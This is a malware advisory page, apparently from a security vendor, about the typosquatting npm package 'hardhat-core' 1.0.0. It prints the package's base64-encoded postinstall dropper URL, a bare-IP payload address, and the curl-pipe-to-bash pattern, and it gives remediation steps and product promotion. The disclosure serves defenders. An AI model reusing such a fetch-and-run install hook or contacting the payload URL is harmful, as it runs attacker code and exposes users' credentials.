hardhat-corenpm
Malicious code in hardhat-core (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
package.json declares a postinstall script that base64-decodes the string 'aHR0cDovLzguMjE3Ljc1LjE0NzozMDAwL3BheWxvYWQ=' to the URL http://8.217.75.147:3000/payload and pipes the response into bash via curl -s <url> | bash. This fires automatically during npm install, executing attacker-controlled shell code fetched over plain HTTP from a hardcoded bare IP with no integrity verification. The package itself is empty (index.js exports {}) and its name impersonates the widely-used hardhat Ethereum tooling — the only purpose of installing it is to trigger the dropper. Three independent block signals are present: install-time curl|bash to a non-publisher bare IP, base64-obfuscated URL inside a lifecycle script, and a typosquat name with no real functionality serving as the lure.
The OpenSSF Package Analysis project identified 'hardhat-core' @ 1.0.0 (npm) as malicious.
It is considered malicious because:
- The package executes one or more commands associated with malicious behavior.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
TyposquatFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for hardhat-core (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging hardhat-core across your stack and pipelines.
If you installed it — respond
hardhat-core is a typosquat — you almost certainly intended a legitimately-named package. Remove hardhat-core, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If hardhat-core was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks hardhat-core before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- OpenSSF: Package Analysis · finder
Detect & block this
O3 blocks hardhat-core-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.